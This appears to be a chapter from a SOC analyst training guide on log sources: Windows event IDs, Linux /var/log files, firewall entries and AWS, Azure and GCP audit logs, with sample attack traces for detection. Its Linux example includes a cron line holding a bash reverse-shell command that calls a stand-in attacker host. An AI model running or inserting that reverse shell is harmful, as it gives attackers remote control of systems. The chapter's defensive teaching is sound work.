Log sources must be explained with practical depth, not just theory. This chapter covers exactly what logs look like, where they are stored, which events matter, and how analysts actually use them inside the SOC.
Windows Log Sources
Windows logs come from the Event Viewer. An analyst must know the exact paths, event IDs, and how to interpret them.
Location
Event Viewer > Windows Logs > Security / System / Application
Event Viewer > Applications and Services Logs > Microsoft > Windows
Critical Security Logs
The Security log is where most attacker activity appears.
Practical examples:
Failed login attempts:
Event ID 4625 (Failed Logon)
Successful logon (used to detect lateral movement):
Event ID 4624
Privilege escalation:
Event ID 4672 (Special privileges assigned)
User added to admin group:
Event ID 4728
PowerShell activity (attackers use it heavily):
Event ID 4104 (PowerShell Script Block Logging)
Sysmon logs show process chains and file actions:
Event ID 1 (Process Creation)
Event ID 3 (Network connection)
Event ID 11 (File Create)
Event ID 13 (Registry Modification)
Example Attack Trace in Windows Logs
An analyst might see:
-
4625 repeated → brute force attempt
-
then 4624 from same IP → attacker logged in
-
then 4672 → privileges assigned
-
then Sysmon Event ID 1 → suspicious cmd.exe spawning PowerShell
-
then Sysmon Event ID 3 → outbound connection to malicious IP
This entire sequence shows actual attacker movement.
Linux Log Sources
Linux logs are stored inside /var/log/. Analysts must know the exact files to read.
Key Log Files
Authentication logs:
/var/log/auth.log (Debian/Ubuntu)
/var/log/secure (RHEL/CentOS)
Used to detect SSH brute force attempts or privilege changes.
Example suspicious SSH activity:
Failed password for root from 185.122.44.10 port 53321 ssh2
Accepted password for root from 185.122.44.10 port 53321 ssh2
System and kernel events:
/var/log/syslog
/var/log/messages
Cron and persistence logs:
/var/log/cron
Example persistence attempt:
CRON[1234]: (root) CMD (/tmp/.hidden/backdoor.sh)
Command history logs (when enabled for auditing):
Auditd events:
ausearch -m USER_CMD
Example Attack Trace in Linux Logs
Privileged command executed:
sudo su
Then an unusual cron job added:
CRON: (root) CMD (/bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1)
This indicates a reverse shell persistence method.
Firewall Log Sources
Firewall logs show network activity. SOC analysts use these logs to detect scans, brute force attempts, malware beaconing, and exfiltration.
Real Firewall Log Examples
Blocked port scan:
Deny TCP src=185.122.44.10 dst=10.0.0.5 spt=55221 dpt=22
Outbound malicious connection:
Allow TCP src=10.0.0.5 dst=45.77.118.202 dpt=443 note="Suspicious domain"
VPN login anomalies:
VPN Login: user=mayur ip=103.41.33.10 country=Unknown result=Success
Intrusion signature hit:
IDS ALERT: SQL Injection Attempt from 91.22.11.2 to 10.0.0.20
How Analysts Use Firewall Logs Practically
-
Identify attackers scanning your environment
-
Detect malware reaching a command-and-control server
-
Catch exfiltration through allowed ports
-
Validate lateral movement patterns
Firewall logs show network behavior, which is critical when endpoints are compromised.
Cloud Log Sources
Cloud logs are extremely detailed and track everything happening across the environment.
AWS Examples
CloudTrail logs all API calls:
"eventName": "CreateUser"
"eventSource": "iam.amazonaws.com"
"sourceIPAddress": "203.0.113.10"
Suspicious S3 access:
"eventName": "GetObject"
"bucketName": "confidential-data"
VPC Flow Logs:
10.0.1.15 203.0.113.33 443 ACCEPT
Azure Examples
Azure Active Directory login:
Sign-in event: UserLoginFailed
KeyVault secret access:
SecretGet: secretName=prod-admin-password
GCP Examples
IAM logs:
roles/editor granted to attacker@external.com
Cloud Storage access:
Object accessed: sensitive-dump.zip
Practical Cloud Attack Trace
An attacker compromises cloud credentials:
-
abnormal login from new country
-
IAM role modified
-
new access keys created
-
data pulled from S3 bucket
-
unusual VPC outbound traffic
These events appear across CloudTrail, IAM logs, S3 access logs, and VPC flows.
Why Practical Log Understanding Matters
SOC analysts must be able to:
-
Read raw log files
-
Recognize attacker techniques inside those logs
-
Correlate logs across systems
-
Build detection rules based on actual event IDs
-
Reconstruct full attack chains
Without knowing exact log paths, event IDs, and examples, a SOC becomes ineffective.
Intel Dump
-
Windows logs use Event IDs to reveal authentication, privilege, and process activity.
-
Linux logs inside
/var/logshow SSH attempts, sudo usage, cron persistence, and system events. -
Firewall logs reveal inbound scans, outbound malware traffic, VPN activity, and intrusion signatures.
-
Cloud logs track API calls, IAM modifications, storage access, and network flows across AWS/Azure/GCP.
-
Practical analysis requires knowing specific log locations, event IDs, and attack patterns.